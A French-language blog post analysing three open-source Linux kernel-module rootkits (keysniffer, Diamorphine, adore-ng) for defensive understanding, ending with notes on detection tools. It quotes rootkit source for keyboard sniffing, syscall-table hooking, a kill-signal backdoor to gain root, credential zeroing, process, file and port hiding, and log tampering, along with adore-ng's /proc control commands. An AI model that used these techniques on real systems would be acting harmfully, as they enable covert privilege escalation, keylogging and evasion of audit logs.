Blog de Nuliel

Rootkits Linux sous forme de module noyau

Bonjour,

Aujourd’hui on va parler de rootkits, et plus particulièrement de rootkits sous forme de LKM (Linux Kernel Module)

Cet article a pour but d’expliquer le fonctionnement interne de ces rootkits, dans le but de pouvoir les parer. Il n’est en aucun cas question d’infecter des systèmes qui ne vous appartiennent pas, et je n’en serai pas responsable si tel est le cas. Par ailleurs si vous voulez tester ces rootkits, testez dans une machine virtuelle jetable pour des raisons évidentes de sécurité.

Exemples de rootkits

Voici quelques exemples de rootkits open-source que j’ai pu étudier:

Dans l’espace

Sous Linux, il y a globalement deux espaces: l’espace noyau et l’espace utilisateur. Les programmes classiques s’exécutent en espace utilisateur, et ont des droits restreints comparé à l’espace noyau, où s’exécute le coeur du système, le noyau Linux.

Qu’est ce que peut faire ce genre de rootkits?

Beaucoup de choses: comme ce sont des rootkits qui fonctionnent en espace noyau, ils sont beaucoup moins limités que des rootkits en espace utilisateur.

Voici quelques unes de leurs fonctionnalités:

Etude détaillée

Keysniffer

keysniffer est un keylogger sous forme de module noyau. Son fonctionnement est assez simple: il demande au noyau d’être sur la liste des programmes à recevoir les frappes de clavier (possible car ce rootkit fonctionne en espace noyau)

register_keyboard_notifier(&spy_blk);

Le reste du code sert uniquement à gérer le fichier /proc/kisni/keys, notamment pour pouvoir garder en mémoire les frappes de clavier et les récupérer facilement.

Ce rootkit ne fait rien d’autre, en particulier il ne se cache pas, donc pour le retirer il suffit juste de le décharger avec rmmod ou modprobe.

Diamorphine

Syscall

Un syscall (ou appel système) est un appel que fait un programme pour demander au système d’exploitation de faire une tâche particulière qu’il ne peut pas faire.

Par exemple, le programme ls demande de lister les fichiers d’un répertoire. ls ne peut pas directement aller chercher l’information qu’il recherche sur le disque dur, notamment parce qu’il n’en a pas le droit, et aussi parce qu’il ne saurait pas où trouver l’information. A la place, ls va faire un appel système (dans ce cas précis, getdents64) pour demander au système d’exploitation de faire cette action à sa place.

L’utilitaire strace permet de voir les syscalls utilisés (je n’ai pas mis tous les syscalls utilisés pour alléger):

nuliel@nuliel-desktop:~/test$ strace ls 2>&1 | grep getdent
getdents64(3, 0x56173cfa09f0 /* 5 entries */, 32768) = 136
...
nuliel@nuliel-desktop:~/test$ ls -a
.  ..  bidule  machin  truc

Rootkits

Diamorphine et m0hamed se basent sur du syscall hooking: ces deux rootkits modifient la table des syscalls pour pouvoir y mettre leurs propres syscalls. Ces deux rootkits modifient les syscalls getdents, getdents64 et kill.

Comme on a vu au dessus, les deux premiers syscalls permettent de lister les fichiers d’un répertoire. Ces rootkits les modifient dans le but de cacher des fichiers ayant un certain préfixe. Le troisième syscall est notamment utilisé par la commande kill, et permet d’envoyer un signal à un programme pour qu’il s’arrête. Vous trouverez la liste des signaux avec

kill -l

Ces deux rootkits modifient le syscall kill dans le but de permettre à un attaquant de communiquer avec le rootkit. Par exemple, en envoyant le signal 64 à n’importe quel PID, l’utilisateur ayant envoyé ce signal devient root.

Un petit tour dans le code

Le rootkit commence par aller chercher la table des syscalls et sauvegarder 3 syscalls:

syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
...
orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];

puis il va injecter ses propres syscalls.

Prenons par exemple le syscall hacked_kill

    asmlinkage int
hacked_kill(pid_t pid, int sig)
{
#endif
	struct task_struct *task;
	switch (sig) {
		case SIGINVIS:
			if ((task = find_task(pid)) == NULL)
				return -ESRCH;
			task->flags ^= PF_INVISIBLE;
			break;
		case SIGSUPER:
			give_root();
			break;
		case SIGMODINVIS:
			if (module_hidden) module_show();
			else module_hide();
			break;
		default:
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
			return orig_kill(pt_regs);
#else
			return orig_kill(pid, sig);
#endif
	}
	return 0;
}

On peut voir que Diamorphine utilise les signaux envoyés par kill pour communiquer avec l’attaquant, ici pour rendre le module visible, pour passer root ou pour rendre un processus invisible.

Les syscalls implémentés par Diamorphine ne sont en réalité qu’une surcouche des vrais syscalls, qui sont appelés à la fin.

Adore-ng

Le VFS (Virtual FileSystem) est un système de fichier virtuel (sans blague?). Par exemple, un disque dur est vu comme un fichier grâce au VFS, généralement /dev/sdX avec X une lettre. On peut aussi citer /proc, qui est utilisé par adore-ng.

Adore-ng est un rootkit qui patche le VFS pour cacher ses activités.

Voici la liste des fonctionnalités de adore-ng:

Avant la compilation, il faut renseigner dans adore-ng.h une clé qui permettra d’intéragir avec adore-ng, les ports qu’on souhaite cacher, l’UID et le GID de l’utilisateur dont on souhaite cacher les fichiers.

Le manuel d’utilisation de adore-ng est un peu perdu dans le code, le voici (traduit par mes soins):

/* Vous pouvez aussi contrôler adore-ng sans ava aussi:
 *
 * echo > /proc/<ADORE_KEY> will make the shell authenticated,
 * echo > /proc/<ADORE_KEY>-fullprivs vous passera root,
 * cat /proc/hide-<PID> cache un processus ayant un PID donné,
 * cat /proc/unhide-<PID> révèle un processus ayant un PID donné
 */

A noter que l’utilitaire ava permet d’intéragir avec adore-ng plus simplement qu’en jouant à créer des fichiers dans /proc.

Un petit tour dans le code

    new_inode_op = (struct inode_operations *)filep->f_path.dentry->d_inode->i_op;
	orig_proc_lookup = new_inode_op->lookup;

	patch_pointer((unsigned long)&new_inode_op->lookup, (unsigned long)adore_lookup);

On peut voir que adore-ng va sauvegarder orig_proc_lookup avant de l’écraser par adore_lookup, afin que adore_lookup puisse appeler la vraie fonction à la fin de adore_lookup (qui n’est en fait qu’une surcouche, de la même manière que les syscalls avec Diamorphine).

    #if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 6, 0))
struct dentry *adore_lookup(struct inode *i, struct dentry *d,
                            struct nameidata *nd)
#else
struct dentry *adore_lookup(struct inode *i, struct dentry *d,
                            unsigned int nd)
#endif
{
	struct cred *edit_cred = (struct cred *)current->cred;
	task_lock(current);

	if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) {
		current->flags |= PF_AUTH;
		edit_cred->suid PATCH_UID = ADORE_VERSION;
	} else if ((current->flags & PF_AUTH) &&
		   strncmp(d->d_iname, "fullprivs", 9) == 0) {
		edit_cred->uid PATCH_UID = 0;
		edit_cred->suid PATCH_UID = 0;
		edit_cred->euid PATCH_UID = 0;
	    edit_cred->gid PATCH_UID = 0;
		edit_cred->egid PATCH_UID = 0;
	    edit_cred->fsuid PATCH_UID = 0;
		edit_cred->fsgid PATCH_UID = 0;

		cap_set_full(edit_cred->cap_effective);
		cap_set_full(edit_cred->cap_inheritable);
		cap_set_full(edit_cred->cap_permitted);
	} else if ((current->flags & PF_AUTH) &&
	           strncmp(d->d_iname, "hide-", 5) == 0) {
		hide_proc(adore_atoi(d->d_iname+5));
	} else if ((current->flags & PF_AUTH) &&
	           strncmp(d->d_iname, "unhide-", 7) == 0) {
		unhide_proc(adore_atoi(d->d_iname+7));
	} else if ((current->flags & PF_AUTH) &&
		   strncmp(d->d_iname, "uninstall", 9) == 0) {
		cleanup_module();
	}

	task_unlock(current);

	if (should_be_hidden(adore_atoi(d->d_iname)) &&
	/* A hidden ps must be able to see itself! */
	    !should_be_hidden(current->pid))
		return NULL;

	return orig_proc_lookup(i, d, nd);
}

On peut voir ici comment adore-ng cherche des noms de fichiers particuliers (/proc/<ADORE_KEY>-fullprivs par exemple), et agit en conséquence. Par exemple on peut voir que pour passer root, adore-ng passe un certain nombre de valeurs à 0 comme l’UID, ce qui correspond à l’utilisateur root. adore-ng peut changer ces valeurs car il s’exécute en espace noyau.

char *var_filenames[] = {
	"/var/run/utmp",
	"/var/log/wtmp",
	"/var/log/lastlog",
	NULL
};

ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off)
{
	int i = 0;

	/* If its hidden and if it has no special privileges and
	 * if it tries to write to the /var files, fake it
	 */
	if (should_be_hidden(current->pid) &&
	    !(current->flags & PF_AUTH)) {
		for (i = 0; var_filenames[i]; ++i) {
			if (var_files[i] &&
			    var_files[i]->f_path.dentry->d_inode->i_ino == f->f_path.dentry->d_inode->i_ino) {
				*off += blen;
				return blen;
			}
		}
	}
	return orig_var_write(f, buf, blen, off);
}

Ici on peut voir le but de adore_var_write: faire semblant d’écrire dans les 3 fichiers de log indiqués: /var/run/utmp, /var/log/wtmp, /var/log/lastlog, afin de laisser le moins de traces possibles.

    if (uid == ELITE_UID && gid == ELITE_GID) {
		r = 0;
	} else if (root_filldir) {
		r = root_filldir(buf, name, nlen, off, ino, x);
	}

adore-ng utilise l’utilisateur et groupe propriétaire pour décider s’il faut cacher des fichiers: si un fichier appartient à l’utilisateur ayant l’UID et le GID renseigné dans le fichier adore-ng.h, alors adore-ng cachera ce fichier.

Pour cacher des ports, adore-ng se base sur le fichier /proc/net/tcp afin de cacher les ports listés dans adore-ng.h. A noter que /proc/net/tcp est utilisé par netstat, mais pas par ss. Lorsque adore-ng tente de cacher un service par exemple en écoute sur un port caché, on ne le verra pas avec netstat, mais on le verra avec ss.

Détection

Il est temps de voir comment sont détectés ces rootkits. N’ayant pas fait d’étude détaillée de la détection des rootkits par des logiciels anti-rootkits, je me baserai sur un papier récent, datant de 2020: http://jultika.oulu.fi/files/nbnfioulu-202004201485.pdf .

Commençons par lister les logiciels qui permettent de traquer les rootkits: OSSEC, AIDE, Rootkit Hunter (rkhunter), Chkrootkit, LKRG.

On peut voir dans le tableau à la page 47 du papier que le taux de détection varie beaucoup selon les logiciels anti-rootkits, et qu’il varie aussi selon le type de rootkit: rootkit en espace utilisateur ou rootkit en espace noyau (ceux traités dans cet article). La plupart des logiciels anti-rootkit sont bien en dessous des 50% de détection, et aucun logiciel anti-rootkit ne permet de détecter efficacement tous les rootkits. On peut par contre remarquer que l’utilisation de plusieurs logiciels anti-rootkits augmente significativement la probabilité de détecter des rootkits.

Conclusion

Linux n’est pas exempt de rootkits. Il en existe de différentes sortes, avec des fonctionnements très différents, mais ont tous comme objectif de fournir des fonctionnalités communes comme l’enregistrement des frappes de clavier, l’élévation de privilèges, …

Nous avons vu 3 rootkits fonctionnant en espace noyau, et nous avons vu comment ils détournent des fonctions du noyau pour pouvoir fonctionner (notification de frappes de clavier, syscalls, VFS).

Des logiciels anti-rootkits peuvent être utilisés, mais il faut avoir conscience qu’ils donnent parfois des faux positifs (des programmes sans danger reconnus par le logiciel anti-rootkit comme des rootkits), et qu’ils ne sont pas efficaces à 100% (pour la plupart, on en est très loin).

Il n’y a pas de méthode magique pour s’en protéger, mais le plus simple est de ne lancer uniquement des commandes dont on comprend l’intérêt et des scripts/programmes qu’on considère “de confiance”. En effet, tous ces rootkits en espace noyau ont besoin des droits root pour être chargé. J’en profite donc pour vous rappeler: n’utilisez pas sudo à tort et à travers 😉

C’est la fin de cet article, j’espère qu’il vous aura plu. Je vous dis à bientôt pour de nouvelles aventures 🙂